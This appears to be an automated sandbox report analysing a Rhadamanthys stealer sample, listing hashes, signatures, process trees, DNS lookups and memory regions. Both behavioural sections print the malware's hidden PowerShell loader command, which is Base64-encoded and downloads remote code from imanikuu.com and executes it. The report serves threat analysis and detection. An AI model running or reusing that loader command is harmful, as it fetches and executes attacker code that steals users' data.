Malware Analysis Report

2024-11-13 13:50

Sample ID 240406-bj9xyagg43
Target 3b9db9baa7abb0f6648f2ee6147486a9432e4c635d47a4b8e0202fb922106aef.zip
SHA256 3b9db9baa7abb0f6648f2ee6147486a9432e4c635d47a4b8e0202fb922106aef
Tags
rhadamanthys stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

3b9db9baa7abb0f6648f2ee6147486a9432e4c635d47a4b8e0202fb922106aef

Threat Level: Known bad

The file 3b9db9baa7abb0f6648f2ee6147486a9432e4c635d47a4b8e0202fb922106aef.zip was found to be: Known bad.

Malicious Activity Summary

rhadamanthys stealer

Rhadamanthys

Suspicious use of NtCreateUserProcessOtherParentProcess

Blocklisted process makes network request

Checks computer location settings

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-04-06 01:11

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-04-06 01:11

Reported

2024-04-06 01:14

Platform

win7-20240221-en

Max time kernel

120s

Max time network

123s

Command Line

cmd /c "C:\Users\Admin\AppData\Local\Temp\DOC692 - 692692.lnk"

Signatures

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2376 wrote to memory of 2548 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2376 wrote to memory of 2548 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2376 wrote to memory of 2548 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\system32\cmd.exe

cmd /c "C:\Users\Admin\AppData\Local\Temp\DOC692 - 692692.lnk"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAGQAbwBuAGUALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==

Network

N/A

Files

memory/2548-38-0x000000001B280000-0x000000001B562000-memory.dmp

memory/2548-40-0x0000000001E50000-0x0000000001E58000-memory.dmp

memory/2548-39-0x000007FEF51D0000-0x000007FEF5B6D000-memory.dmp

memory/2548-41-0x00000000028A0000-0x0000000002920000-memory.dmp

memory/2548-42-0x00000000028A0000-0x0000000002920000-memory.dmp

memory/2548-43-0x00000000028A0000-0x0000000002920000-memory.dmp

memory/2548-44-0x000007FEF51D0000-0x000007FEF5B6D000-memory.dmp

memory/2548-45-0x00000000028A0000-0x0000000002920000-memory.dmp

memory/2548-46-0x000007FEF51D0000-0x000007FEF5B6D000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-04-06 01:11

Reported

2024-04-06 01:14

Platform

win10v2004-20240226-en

Max time kernel

146s

Max time network

152s

Command Line

sihost.exe

Signatures

Rhadamanthys

stealer rhadamanthys

Suspicious use of NtCreateUserProcessOtherParentProcess

Description Indicator Process Target
PID 2972 created 2520 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\sihost.exe

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3045580317-3728985860-206385570-1000\Control Panel\International\Geo\Nation C:\Windows\system32\cmd.exe N/A

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\sihost.exe

sihost.exe

C:\Windows\system32\cmd.exe

cmd /c "C:\Users\Admin\AppData\Local\Temp\DOC692 - 692692.lnk"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAGQAbwBuAGUALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==

C:\Windows\system32\dialer.exe

"C:\Windows\system32\dialer.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 28.118.140.52.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 imanikuu.com udp
US 64.20.41.122:443 imanikuu.com tcp
US 8.8.8.8:53 122.41.20.64.in-addr.arpa udp
US 8.8.8.8:53 74.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 104.219.191.52.in-addr.arpa udp
US 8.8.8.8:53 150.1.37.23.in-addr.arpa udp
US 8.8.8.8:53 157.123.68.40.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 0.204.248.87.in-addr.arpa udp
US 8.8.8.8:53 22.236.111.52.in-addr.arpa udp
US 8.8.8.8:53 24.73.42.20.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_f5d5nzg5.nxy.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/2972-11-0x00000278625F0000-0x0000027862612000-memory.dmp

memory/2972-12-0x00007FFDFBC10000-0x00007FFDFC6D1000-memory.dmp

memory/2972-13-0x0000027862370000-0x0000027862380000-memory.dmp

memory/2972-14-0x0000027862370000-0x0000027862380000-memory.dmp

memory/2972-15-0x0000027862370000-0x0000027862380000-memory.dmp

memory/2972-16-0x00000278629A0000-0x00000278629FE000-memory.dmp

memory/2972-17-0x0000027862350000-0x0000027862360000-memory.dmp

memory/2972-18-0x0000027862350000-0x0000027862360000-memory.dmp

memory/2972-19-0x0000027862A00000-0x0000027862E00000-memory.dmp

memory/2972-20-0x0000027862A00000-0x0000027862E00000-memory.dmp

memory/2972-21-0x0000027862A00000-0x0000027862E00000-memory.dmp

memory/2972-22-0x00007FFE19DB0000-0x00007FFE19FA5000-memory.dmp

memory/2972-24-0x0000027862A00000-0x0000027862E00000-memory.dmp

memory/2972-23-0x00007FFE19030000-0x00007FFE190EE000-memory.dmp

memory/2972-25-0x00007FFE17950000-0x00007FFE17C19000-memory.dmp

memory/1440-26-0x00000184B4810000-0x00000184B4819000-memory.dmp

memory/1440-31-0x00000184B62F0000-0x00000184B66F0000-memory.dmp

memory/1440-32-0x00007FFE19DB0000-0x00007FFE19FA5000-memory.dmp

memory/1440-35-0x00007FFE19030000-0x00007FFE190EE000-memory.dmp

memory/2972-33-0x00007FFDFBC10000-0x00007FFDFC6D1000-memory.dmp

memory/1440-34-0x00000184B62F0000-0x00000184B66F0000-memory.dmp

memory/1440-37-0x00007FFE17950000-0x00007FFE17C19000-memory.dmp

memory/2972-36-0x0000027862A00000-0x0000027862E00000-memory.dmp

memory/1440-38-0x00000184B62F0000-0x00000184B66F0000-memory.dmp